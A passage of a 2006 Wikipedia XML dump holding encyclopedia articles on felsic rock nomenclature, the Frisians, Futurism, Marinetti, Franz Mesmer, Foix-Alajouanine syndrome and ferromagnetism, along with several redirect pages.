The chemical name of a felsic rock is given according to the [[TAS diagram]] of Le Maitre (1975). However, this only applies to volcanic rocks. If the rock is analyzed and found to be felsic but is [[metamorphic]] and has no definite volcanic [[protolith]] it may be sufficient to simply call it a 'felsic schist'. There are examples known of highly [[geological shear|sheared]] granites which can be mistaken for rhyolites.

For phaneritic felsic rocks, the [[QAPF diagram]] should be used, and a name given according to the [[granite]] nomenclature. Often the species of mafic minerals is included in the name, for instance ''hornblende-bearing granite'', ''[[pyroxene]] [[tonalite]]'' or ''[[augite]] megacrystic [[monzonite]]'' as the term granite already assumes feldspar and quartz. 

The rock texture thus determines the basic name of a felsic rock. 

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt;   
&lt;tr&gt;&lt;td&gt;'''Rock Texture'''&lt;/td&gt;&lt;td&gt;'''Name of Felsic Rock'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Pegmatitic]]&lt;/td&gt;&lt;td&gt;[[Granite]] [[pegmatite]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Coarse grained ([[phaneritic]])&lt;/td&gt;&lt;td&gt;[[Granite]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Coarse grained and [[porphyritic]]&lt;/td&gt;&lt;td&gt;Porphyritic [[granite]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fine grained ([[aphanitic]])&lt;/td&gt;&lt;td&gt;[[Rhyolite]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fine grained and porphyritic&lt;/td&gt;&lt;td&gt;Porphyritic [[rhyolite]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Pyroclastic]]&lt;/td&gt;&lt;td&gt;Rhyolitic [[tuff]] or [[breccia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Vesicular texture|Vesicular]]&lt;/td&gt;&lt;td&gt;[[Pumice]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Amygdaloidal]]&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Glassy texture|Glassy]]&lt;/td&gt;&lt;td&gt;[[Obsidian]] or porcellanite&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Reference==
* Le Maitre, L.E., ed. 2002. ''Igneous Rocks: A Classification and Glossary of Terms'' 2nd edition, Cambridge.

==See also==
*[[QAPF diagram]]
*[[List of minerals]]
*[[List of rocks]]
*[[Granite]]

[[Category:Petrology]]
[[Category:Mineralogy]]

[[de:Felsit]]
[[ja:&amp;#28961;&amp;#33394;&amp;#37489;&amp;#29289;]]</text>
    </revision>
  </page>
  <page>
    <title>Frisians</title>
    <id>11797</id>
    <revision>
      <id>41533049</id>
      <timestamp>2006-02-28T00:05:46Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <minor />
      <comment>fmt external links</comment>
      <text xml:space="preserve">{{ethnic group|
|group=Frisians
|image=
|poptime=1,500,000 (est.){{fact}}
|popplace=[[Frisia]] (comprising parts of The [[Netherlands]], [[Germany]] and [[Denmark]]) &lt;!--But do any Frisians live in Denmark? --User:Khoikhoi--&gt;
|rels=[[Protestantism]]
|langs=[[Frisian language|Frisian]], [[Dutch language|Dutch]], [[German language|German]]
|related=[[English people|English]], [[Scottish people|Scottish]], other [[Germanic peoples]]
}}

The '''Frisians''' are an ethnic group of northwestern [[Europe]], inhabiting an area known as [[Frisia]].
==Freedom of the Frisian People, Frisian Law==
In the 8th century Charlemagne freed the people of Friesland from swearing fealty to foreign overlords ''“That all Frisians would be fully free, the born and the unborn, so long as the wind blows from heaven and the child cries, grass grows green and flowers bloom, as far as the sun rises and the world stands.”''  

This is from a 12th century law text[http://www.i-friesland.com/Frisian_law.htm] written in Old Frisian using the poetic saga-style of Scandinavian epics.  There are a substantial number of existing Frisian law texts and some of these have yet to be studied.  There is currently a Frisia Project at the University of Amsterdam that is studying the ancient history of Friesland, which will likely uncover a lot more fascinating facts.

But the tantalising tidbits of Frisian history that are already known reveal a people not much given to making their mark on history, except when provoked, and then fighting with a legendary fierceness to protect their freedom.  

==History in Roman Times==
The ancestors of the Dutch were defeated by the Romans under Augustus, when they managed to defeat the Belgae and the Batavians.  However the Frisians were able to form a treaty with the Romans at the River Rhine in 28 AD, avoiding conquest.  But 16 years later when taxes became repressive, they hung the taxman and defeated the Romans under Tiberius at the famous Battle of Baduhennawood.  The Frisii were known and respected by the Romans and written about by several sources. Tacitus wrote a particularly fascinating treatise about the Germanic peoples in 69 AD, describing the habits of the Germanic people, as well as listing numerous tribes by name.[http://www.i-friesland.com/Tacitus_traits.htm]  Of the many tribes mentioned, the Frisians are the only ones that have preserved their ancient name.[http://www.i-friesland.com/Tacitus_tribes.htm]

Friesland had been early settled, with evidence of terp-building, the distinctive raised settlements, starting in 700 BC. The people began to be a distinctive tribe in around 200 BC.  They were displaced from their homeland to Flanders and Kent, England due to heavy flooding in 250 AD.  Habitation of the area remained impossible for the next 150 years.  When some of the Frisians returned around 400 AD there were already Saxons and Jutes settled there, and the Frisian people merged with them, maintaining the identity and traditions of the Frisian tribe.  The Frisians were closely related to the Saxons and the Frisian language remains the closest surviving language to English.

The Roman historian [[Tacitus]], in his ''[[Germania (book)|Germania]]'', mentioned the Frisians among people he grouped together as the [[Ingvaeones]]. Two different types, or classes are mentioned by [[Tacitus]], the maiores Frisii and the minores Frisii. Divided by the soil of their farmlands, the maiores Frisii or Clay Frisians populated fertile clay soil increasing the size of their harvests, lifestock and even their posture. The small and relatively unhealthy minores Frisii (Sand Frisians) farmed on sand lands and subsequently their crops lacked size or number compared to those of the maiores Frisii. According to Tacitus even the armies of the maiores were larger and better equipped.

They were probably a people of seafarers, the [[North Sea]] spanning from [[Bretagne]] to Eastern [[Denmark]], was referred to as the ''Mare Frisia'' at that time. Small groups of Frisians settled the surrounding lands and their settlements have been traced to [[England]], [[Scotland]], [[Denmark]], [[Germany]], [[Belgium]], [[France]] and obviously to [[The Netherlands]].

Their territory followed the coast of the North Sea from the mouth of the [[Rhine]] river up to that of the [[Ems]], their eastern border according to [[Ptolemy]]'s ''Geographica''. [[Pliny the Elder]] states in ''Belgica'' that they were conquered by the Roman general [[Nero Claudius Drusus|Drusus]] in 12 BC, after that several uprisings have been mentioned by Tacitus. The most noted of these is their partake in the [[Batavii]] Rebellion. Thereafter the Frisians largely sank into historical obscurity, until coming into contact with the expanding [[Merovingian]] and [[Carolingian]] empires. 

In the 5th Century, during this period of historical silence, many of them no doubt joined the migration of the Anglo-Saxons who went through [[Frisia|Frisian territory]] to invade [[Great Britain]], while those who stayed on the continent expanded into the newly-emptied lands previously occupied by the [[Anglo-Saxons]]. By the end of the sixth century the Frisians occupied the coast all the way to the mouth of the Weser and spread farther still in the seventh century, southward down to [[Dorestad]] and even [[Bruges]]. This farthest extent of Frisian territory is known as Frisia Magna.

The empire that came in to being after the fall of the [[Western Roman Empire]] was governed by a king or a duke. The earliest document referring to an independ state ruled by a king is dated 678. Early attempts of to Christianize Frisia were unable to convert the fierce pagan Frisians and various monks were murdered or banished, with the legendary example of the murder of [[Bonifatius]] in Dokkum. King [[Radbod]] was even ably to beat the mighty [[Charles Martel]] in 714 to preserve independence. Twenty years later [[Charles Martel]] got his revenge and effectively subjugated the entire Frisian empire. Christianity was also enforced by the Christian Franks and in Utrecht a Bishop was installed to see to Christian affairs in Frisia. Not until the early 800s did they fully reclaim their independence from the Frankish grip. Christianity had however taken root and had been adopted by most Frisians.

=== Dukes of Friesland ===
* [[Folcwald]] ???-???
* [[Finn (Frisian)|Finn]] ???-???
* [[Sibbelt]] ???-???
* [[Ritzard]] ???-???
* [[Aldegisel]] ???-680
* [[Radbod]] 680-719
* [[Poppo (Frisian)|Poppo]] 719-734
* [[Radbod]] ???-???

=== Friesland in the middle ages ===
{{sect-stub}}

=== Modern history ===
[[Image:German_Bight.jpg|right|thumb|Satellite view of the German Bight (the Frisian Coast).]]
The modern remnants of Frisia Magna are small and scattered. Most of it became dominated by its expanding neighbors: the [[Saxons]] (who were moving north and west) and the [[Franks]] (who were pushing north and east). Western and Middle Frisia are solidly within the modern state of the [[Netherlands]], which now includes the &quot;heartland&quot; of the Frisians from the North Sea coast from [[Alkmaar]] in the modern province of Noord-Holland, along the coasts of the modern provinces of [[Friesland]] and [[Groningen (province)|Groningen]], and up to the mouth of the Ems. Culturally, it has shrunk down to the province of Friesland alone. The [[Frisian language]] is now spoken only there and in parts of only the [[Wadden Sea]] islands of [[Terschelling]] and [[Schiermonnikoog]]. [[East Frisia|East]] and [[Nordfriesland|North Frisia]] have been absorbed into the northern states of [[Germany]], with only the marshes of [[Saterland]], well inland from the coast, still retaining any cultural identity. There are also descendants of Frisians living on the coast of the Jutland peninsula and nearby islands. It is unclear when they arrived there, or even whether they lived first on the islands and then spread to the mainland, or vice-versa. What remains of their language is under heavy pressure from [[Low German]], [[German language|standard German]], and [[Danish language|Danish]], and faces possible extinction.

==See also==
*[[Frisia]]
*[[Frisian language]]
*[[Frisian Islands]]

[[Category:Ancient Roman enemies]]
[[Category:Ethnic groups in Europe]]
[[Category:Germanic peoples]]
[[Category:Netherlands]]

[[da:Friserne]]
[[de:Friesen]]
[[fy:Friezen]]
[[nl:Friezen]]
[[pl:Fryzowie]]
[[pt:Frísios]]
[[ru:Фризы]]

==External Links==
*[http://www.i-friesland.com/index.html The Frisian Meeting Place]</text>
    </revision>
  </page>
  <page>
    <title>Faeroe Islands</title>
    <id>11798</id>
    <revision>
      <id>15909520</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Faroe Islands]]
</text>
    </revision>
  </page>
  <page>
    <title>Falsify</title>
    <id>11799</id>
    <revision>
      <id>15909521</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Falsifiability]]
</text>
    </revision>
  </page>
  <page>
    <title>Futurism</title>
    <id>11800</id>
    <revision>
      <id>40691411</id>
      <timestamp>2006-02-22T09:29:03Z</timestamp>
      <contributor>
        <username>Thue</username>
        <id>19556</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Coinman|Coinman]] ([[User talk:Coinman|talk]]) to last version by 132.208.132.34</comment>
      <text xml:space="preserve">'''''Futurism''''' may refer to:

* '''[[Future studies]]''', the [[philosophical]] or [[academic]] study of the medium to long-term [[future]] also known as futurology.
* '''[[Futurism (art)|Futurism]]''', a [[20th century]] [[art movement]].
* '''[[Futurism (Christian eschatology)|Futurism]]''', an interpretation in [[Christian eschatology]] placing the fulfillment of the prophecies of the [[Book of Revelation]] in the future as literal, physical, [[apocalyptic]] and [[global]] rather in the past as literal, physical and localised (ie in [[Judea]] or [[Europe]]) or in the present as non-literal and spiritual.
*'''[[Afrofuturism]]'''
*'''[[Retro-futurism]]'''

{{disambig}}

[[et:Futurism]]</text>
    </revision>
  </page>
  <page>
    <title>Filippo Tommaso Marinetti</title>
    <id>11801</id>
    <revision>
      <id>38916215</id>
      <timestamp>2006-02-09T14:05:59Z</timestamp>
      <contributor>
        <username>Dahn</username>
        <id>531961</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Artists.jpg|thumb|346px|Right|The [[Futurist]]s in [[Paris]], February 1912. (L to R. [[Luigi Russolo]], [[Carlo Carra]], [[Filippo Tommaso Marinetti|F. T. Marinetti]], [[Umberto Boccioni]], [[Gino Severini]].)]]

'''Filippo Tommaso Emilio Marinetti''' ([[December 22]], [[1876]], [[Alexandria]], [[Egypt]] – [[December 2]], [[1944]], [[Bellagio]], [[Italy]]) was an Italian [[Fascism|fascist]] ideologue, [[poet]], editor, and main founder of the [[Futurism (art)|futurist]] movement of the early 20th century.

In early 1918 he founded the ''Partito Politico Futurista'' or Futurist Political Party, which only a year later was absorbed into [[Benito Mussolini]]'s ''[[Fasci Italiani di Combattimento|Fasci di combattimento]]'', making Marinetti one of the first supporters and members of the [[Partito Nazionale Fascista|Italian Fascist Party]]. He opposed Fascism's later canonical exultion of existing institutions, calling them &quot;reactionary.&quot; He however stayed a notable force in developing the party thought throughout the regime.  For example, at the end of the ''Congress of Fascist Culture'' that was held in [[Bologna]] on [[March 30]] [[1925]], [[Giovanni Gentile]] addressed [[Sergio Panunzio]] on the need to define Fascism more purposely by way of Marinetti's opinion, stating:

:''&quot;Great spiritual movements make recourse to precision when their primitive inspirations - what F. T. Marinetti identified this morning as artistic, that is to say, the creative and truly innovative ideas, from which the movement derived its first and most potent impulse - have lost their force. We today find ourselves at the very beginning of a new life and we experience with joy this obscure need that fills our hearts - this need that is our inspiration, the genius that governs us and carries us with it.&quot;''

Thus Futurism continued to influence Fascist thinkers outside of the Futurist school of thought on the furthering of Fascism.

Marinetti is most noted for his contribution of the [[Futurist Manifesto]] first published in the Paris newspaper ''[[Le Figaro]]'', and the sound poem ''[[Zang Tumb Tumb]]''. Marinetti believed violence should be something sought out as a goal for society, making an esthetical value inherent for it regardless of context.

In 1938, when [[Adolf Hitler]] included creations of Futurism in an exhibition, deriding what [[Nazi]] [[pogrom]]s typified as ''[[degenerate art]]'', Marinetti persuaded Mussolini not to allow the exhibition entrance into Italy.

He published works in both French and Italian, among them are ''Le Roi Bombance'' (1905) and
''Mafarka il futurista'' (1910).

Fellow notable Italian futurists include [[Carlo Carrà]], [[Giacomo Balla]], [[Umberto Boccioni]], and [[Luigi Russolo]].  One notable later Italian Futurist is [[Ambrogio Casati]].

==See also==

* [[Revolutionary minded Italians of the inter-war period]]

[[Category:1876 births|Marinetti, Filippo Tommaso]]
[[Category:1944 deaths|Marinetti, Filippo Tommaso]]
[[Category:Futurism|Marinetti, Filippo Tommaso]]
[[Category:Italian fascists|Marinetti, Filippo Tommaso]]

[[cs:Filippo Tommaso Marinetti]]
[[de:Filippo Tommaso Marinetti]]
[[et:Filippo Tommaso Marinetti]]
[[es:Filippo Tommaso Marinetti]]
[[fr:Filippo Tommaso Marinetti]]
[[it:Filippo Tommaso Marinetti]]
[[ja:フィリッポ・トンマーゾ・マリネッティ]]
[[nl:Filippo Marinetti]]
[[pl:Filippo Tommaso Marinetti]]
[[pt:Filippo Tommaso Marinetti]]
[[sv:Filippo Tommaso Marinetti]]</text>
    </revision>
  </page>
  <page>
    <title>Franz Mesmer</title>
    <id>11803</id>
    <revision>
      <id>41497383</id>
      <timestamp>2006-02-27T19:42:27Z</timestamp>
      <contributor>
        <username>Discospinster</username>
        <id>82432</id>
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      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">:''This article is about Franz Anton Mesmer. The name &quot;Mesmer&quot; also refers to a [[character class]] of the [[Personal computer|PC]] [[CORPG]] [[Guild Wars]].''

[[Image:Franz_Anton_Mesmer.jpg|thumb|Franz Anton Mesmer]]
[[Image:Franz_Anton_Mesmers_Grabstein_01_Gesamt.jpg|thumb|His Grave]]

'''Franz Anton Mesmer''' ([[May 23]], [[1734]] &amp;ndash; [[March 5]], [[1815]]) discovered what he called [[animal magnetism]] and others often called mesmerism. The evolution of Mesmer's ideas and practices led  [[James Braid]] ([[1795]]-[[1860]]) to develop [[hypnosis]] in [[1842]].

== Early life ==
Mesmer was born in the village of Iznang, [[Swabia]]. After studying at the [[Society of Jesus|Jesuit]] universities of [[Dillingen]] and [[Ingolstadt]], he took up the study of medicine at the [[University of Vienna]] in [[1759]]. In [[1766]] he published a [[doctoral dissertation]] with the [[Latin]] title ''De planetarum influxu in corpus humanum'', which discussed the influence of the [[Moon]] and the [[planets]] on the human body and on disease ([[medical astrology]]). Evidence assembled by [[Frank A. Pattie]] suggests that Mesmer plagiarized his dissertation from a work by [[Richard Mead]] ([[1673]]-[[1754]]).

Soon after receiving his degree, Mesmer married a wealthy widow and established himself as a physician in [[Vienna]]. He lived on a splendid estate and patronised the arts. When court intrigue prevented the performance of ''[[Bastien und Bastienne]]'', the first opera composed by the twelve-year-old musical prodigy [[Wolfgang Amadeus Mozart]], Mesmer offered his own gardens for the production.  Mozart later immortalized his former patron by including a joking reference to Mesmer in his  opera ''[[Cosi fan tutte]]''. 

== The advent of animal magnetism ==
In 1774 to produce an &quot;artificial tide&quot; in a patient. Mesmer had her swallow a preparation containing iron, and then attached magnets to various parts of her body. She reported feeling streams of a mysterious fluid running through her body and was relieved of her symptoms for several hours. Mesmer did not believe that the magnets had achieved the cure on their own. He felt that he had contributed [[animal magnetism]], which had accumulated in his own body, to her. He soon stopped using magnets as a part of his treatment.

In [[1775]] Mesmer was invited to give his opinion before the [[Munich Academy of Sciences]] on the exorcisms carried out by [[Johann Joseph Gassner]] ([[1727]]-[[1779]]), a priest and healer. Mesmer said that while Gassner was sincere in his beliefs, his  cures were due to the fact that he possessed a high degree of animal magnetism. This confrontation between Mesmer's secular ideas and Gassner's religious beliefs marked the end of Gassner's career as well as, according to [[Henri Ellenberger]], the emergence of [[dynamic psychiatry]].

The scandal which followed Mesmer's unsuccessful attempt to treat the blindness of an 18-year-old musician, [[Maria Theresa Paradis]], led him to leave [[Vienna]] in [[1777]]. The following year Mesmer moved to [[Paris]], rented an apartment in a part of the city preferred by the wealthy and powerful and established a medical practice. Paris soon divided into those who thought he was a charlatan, who had been forced to flee from Vienna, and those who thought he had made a great discovery.  

In his first years in Paris, Mesmer tried and failed to get either the Royal Academy of Sciences or the Royal Society of Medicine to provide official approval for his doctrines. He found only one physician of high professional and social standing, [[Charles d'Eslon]], to become a disciple. In [[1779]], with d'Eslon's encouragement, Mesmer wrote an 88-page book ''Mémoire sur la découverte du magnétisme animal'', to which he appended his famous 27 Propositions. These propositions outlined his theory at that time.

According to d'Eslon, Mesmer understood health as the free flow of the process of life through thousands of channels in our bodies. Illness was caused by obstacles to this flow. Overcoming these obstacles and restoring flow produced crises, which restored health. When [[Nature]] failed to do this spontaneously, contact with a conductor of animal magnetism was a necessary and sufficient remedy. Mesmer aimed to aid or provoke the efforts of Nature. To cure an insane person, for example, involved causing a fit of madness. The advantage of magnetism involved accelerating such crises without danger.

Mesmer treated patients both individually and in groups. With individuals he would sit in front of his patient with his knees touching the patient's knees, pressing the patient's thumbs in his hands, looking fixedly into the patient's eyes. Mesmer made &quot;passes&quot;, moving his hands from patients' shoulders  down along their arms. He then pressed his fingers on the patient's  [[hypochondria]]c region (the area below the [[diaphragm (anatomy)|diaphragm]]), sometimes holding his hands there for hours. Many patients felt peculiar sensations or had convulsions that were regarded as crises and  supposed to bring about the cure.

By [[1780]] Mesmer had more patients than he could treat individually and he established a collective treatment known as the ''[[baquet]]''. An English physician, who observed Mesmer, described the treatment as follows: 

:In the middle of the room is placed a vessel of about a foot and a half high which is called here a &quot;baquet&quot;. It is so large that twenty people can easily sit round it; near the edge of the lid which covers it, there are holes pierced  corresponding to the number of persons who are to surround it; into these holes are introduced iron rods, bent at right angles outwards, and of different heights, so as to answer to the part of the body to which they are to be applied. Besides  these rods, there is a rope which communicates between the baquet and one of the patients, and from him is carried to another, and so on the whole round.  The most sensible effects are produced on the approach of Mesmer, who is said to convey the fluid by certain motions of his hands or eyes, without touching the person. I have talked with several who have witnessed these effects, who have convulsions occasioned and removed by a movement of the hand...

In [[1784]], without Mesmer requesting it, [[King Louis XVI]] appointed four members of the Faculty of Medicine as commissioners to investigate animal magnetism as practiced by d'Eslon. At the request of these commissioners the King appointed five additional commissioners from the Royal Academy of Sciences. These included the chemist [[Lavoisier]], the physician [[Joseph-Ignace Guillotin]], the astronomer [[Jean Sylvain Bailly]] and the American ambassador [[Benjamin Franklin]].

The commission conducted a series of experiments aimed, not at determining whether Mesmer's treatment worked, but whether he had discovered a new physical fluid. The commission concluded that there was no evidence for such a fluid. Whatever benefit the treatment produced was attributed to &quot;[[imagination]].&quot; In 1785 Mesmer left Paris. His activities over the next twenty years are largely unknown.

== Trivia ==
*Among Mesmer's followers was Armand-Marc-Jacques Chastenet, [[Marquis de Puységur]] ([[1751]]-[[1825]]), who discovered induced or [[artificial somnambulism]].

*Mesmer's name is also the basis of the word ''[[mesmerization]]''.

*A &quot;Mesmer&quot; is a character archetype in the [[video game]] ''[[Guild Wars]]''.

==Works by Franz Mesmer==
*&quot;''De planetarum influxu in corpus humanum''&quot; (&quot;''Über den Einfluss der Gestirne auf den menschlichen Körper''&quot;) (1766)
*&quot;''Sendschreiben an einen auswärtigen Arzt über die Magnetkur''&quot; (1775)
*&quot;''Mesmerismus oder System der Wechsel-beziehungen. Theorie und Andwendungen des tierischen Magnetismus''&quot; (1814)

==References==

*Henri Ellenberger, ''The Discovery of the Unconscious,'' (Basic Books, 1970).
*Frank A. Pattie, ''Mesmer and Animal Magnetism: A Chapter in the History of Medicine,'' (Edmonston Publishing, Inc, 1994).
*Darnton, Robert, ''Mesmerism and the End of the Enlightenment in France,'' (Schocken Books 1970, and Harvard University Press 1968). 
*Gould, Stephen Jay, &quot;The Chain of Reason versus the Chain of Thumbs&quot; in '' Bully for Brontosaurus'' (Penguin, 1991)
*&quot;Report of the Commissioners charged by the King in the examination of Animal Magnetism&quot; (originally published 1784), English translation in ''Skeptic'' magazine of the Skeptic society, vol 4 no 3 1996.

==External links==

* [http://web.archive.org/web/20040710162753/http://www.unbf.ca/psychology/likely/readings/mesmer.htm Mesmer's 27 Propositions (Via archive.org)]
* [http://www.thebakken.org/exhibits/mesmer/ Pictorial web-exhibit] based on a handful of works from the Bakken’s extensive collection of books, pamphlets, manuscripts, and journals documenting the mesmerist movement.


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  <page>
    <title>Futurism/Manifesto</title>
    <id>11804</id>
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      <contributor>
        <username>Zigger</username>
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      <comment>fixed redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[Futurist Manifesto]]</text>
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  <page>
    <title>Foix-Alajouanine syndrome</title>
    <id>11806</id>
    <revision>
      <id>40395887</id>
      <timestamp>2006-02-20T06:43:39Z</timestamp>
      <contributor>
        <username>Crystallina</username>
        <id>429935</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Foix-Alajouanine syndrome''' is a [[disorder]] caused by an [[arteriovenous malformation]] of the [[spinal cord]]. The patients present with symptoms indicating spinal cord involvement ([[paralysis]] of arms and legs, numbness and loss of sensation and [[sphincter]] dysfunction) and the pathological examination reveal disseminated [[nerve cell]] death in the spinal cord and abnormally dilated and tortuous vessels situated on the surface of the spinal cord. Surgical treatment can be tried in some cases. If surgical intervention is contraindicated, [[corticosteroid]]s may be used.

{{disease-stub}}

[[Category:Neurology]]
[[Category:Neurosurgery]]</text>
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  </page>
  <page>
    <title>Ferromagnetism</title>
    <id>11807</id>
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      <id>40815873</id>
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      <contributor>
        <username>Pollinator</username>
        <id>22743</id>
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      <comment>flossing the plaque</comment>
      <text xml:space="preserve">'''Ferromagnetism''' is a phenomenon by which a material can exhibit a spontaneous magnetization, and is one of the strongest forms of [[magnetism]].  It is responsible for most of the magnetic behavior encountered in everyday life and (including the special case of [[ferrimagnetism]], below) is the basis for all [[permanent magnet]]s (as well as the metals that are noticeably attracted to them).

Historically, the term &quot;ferromagnet&quot; was used for any material that could exhibit spontaneous magnetization: a net magnetic moment in the absence of an external [[magnetic field]].  This general definition is still in common use.  More recently, however, different classes of spontaneous magnetization have been identified when there is more than one magnetic ion per [[primitive cell]] of the material, leading to a stricter definition of &quot;ferromagnetism&quot; that is often used to distinguish it from ferrimagnetism.  In particular, a material is &quot;ferromagnetic&quot; in this narrower sense only if ''all'' of its magnetic ions add a positive contribution to the net magnetization.  If some of the magnetic ions ''subtract'' from the net magnetization (if they are partially ''anti''-aligned), then the material is &quot;ferrimagnetic&quot;.  If the ions anti-align completely so as to have zero net magnetization, despite the magnetic ordering, then it is an [[antiferromagnet]].  All of these alignment effects only occur at [[temperature]]s below a certain critical temperature, called the [[Curie temperature]] (for ferromagnets and ferrimagnets) or the [[Néel temperature]] (for antiferromagnets).

==Ferromagnetic materials==
&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; align=&quot;right&quot;&gt;
&lt;tr&gt;&lt;th&gt;Material&lt;/th&gt;&lt;th&gt;Curie&lt;br&gt; temp. (K)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Cobalt|Co]]&lt;/td&gt;&lt;td&gt;1388&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Iron|Fe]]&lt;/td&gt;&lt;td&gt;1043&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Magnetite|FeOFe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;]]&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;858&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;NiOFe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;858&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Copper|Cu]]OFe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;728&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Magnesium|Mg]]OFe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;713&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mn[[Bismuth|Bi]]&lt;/td&gt;&lt;td&gt;630&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Nickel|Ni]]&lt;/td&gt;&lt;td&gt;627&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mn[[Antimony|Sb]]&lt;/td&gt;&lt;td&gt;587&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;MnOFe&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;573&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Yttrium iron garnet|Y&lt;sub&gt;3&lt;/sub&gt;Fe&lt;sub&gt;5&lt;/sub&gt;O&lt;sub&gt;12&lt;/sub&gt;]]&lt;sup&gt;*&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;560&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Chromium|Cr]][[Oxide|O]]&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;&lt;td&gt;386&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Manganese|Mn]][[Arsenic|As]]&lt;/td&gt;&lt;td&gt;318&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Gadolinium|Gd]]&lt;/td&gt;&lt;td&gt;292&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Dysprosium|Dy]]&lt;/td&gt;&lt;td&gt;88&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Europium|Eu]]O&lt;/td&gt;&lt;td&gt;69&lt;/td&gt;&lt;/tr&gt;
&lt;!-- The numbers in this table currently come from Kittel, as referenced in the text.  Please don't add new numbers without adding the corresponding reference. --&gt;
&lt;caption align=bottom&gt;&lt;small&gt;A selection of crystalline ferromagnetic (*&amp;nbsp;=&amp;nbsp;ferrimagnetic) materials, along with their Curie temperatures in [[kelvin]]s (K). (Kittel, p. 449.)&lt;/small&gt;&lt;/caption&gt;
&lt;/table&gt;
There are a number of crystalline materials that exhibit ferromagnetism (or ferrimagnetism).  The table, at right, lists a representative selection of them here, along with their Curie temperatures, the temperature above which they cease to exhibit spontaneous magnetization (see below). 

Ferromagnetic metal alloys whose constituents are not themselves ferromagnetic in their pure forms are called [[Heusler alloy]]s, named after [[Fritz Heusler]].

One can also make amorphous (non-crystalline) ferromagnetic metallic alloys by very rapid quenching (cooling) of a liquid alloy.  These have the advantage that their properties are nearly isotropic (not aligned along a crystal axis); this results in low coercivity, low [[hysteresis]] loss, high permeability, and high electrical resistivity.  A typical such material is a transition metal-metalloid alloy, made from about 80% transition metal (usually Fe, Co, or Ni) and a metalloid component ([[Boron|B]], [[Carbon|C]], [[Silicon|Si]], [[Phosphorus|P]], or [[Aluminium|Al]]) that lowers the melting point.

One example of such an amorphous alloy is Fe&lt;sub&gt;80&lt;/sub&gt;B&lt;sub&gt;20&lt;/sub&gt; (Metglas 2605) which has a Curie temperature of 647 K and a room-temperature (300 K) saturation magnetization of 125.7 [[tesla (unit)|milliteslas]] (1257 [[gauss]]), compared with 1043 K and 170.7 mT (1707 gauss) for pure iron from above.  The melting point, or more precisely the glass transition temperature, is only 714 K for the alloy versus a melting point of 1811 K for pure iron.

==Physical origin==

The property of ferromagnetism is due to the direct influence of two effects from [[quantum mechanics]]: [[spin (physics)|spin]] and the [[Pauli exclusion principle]].

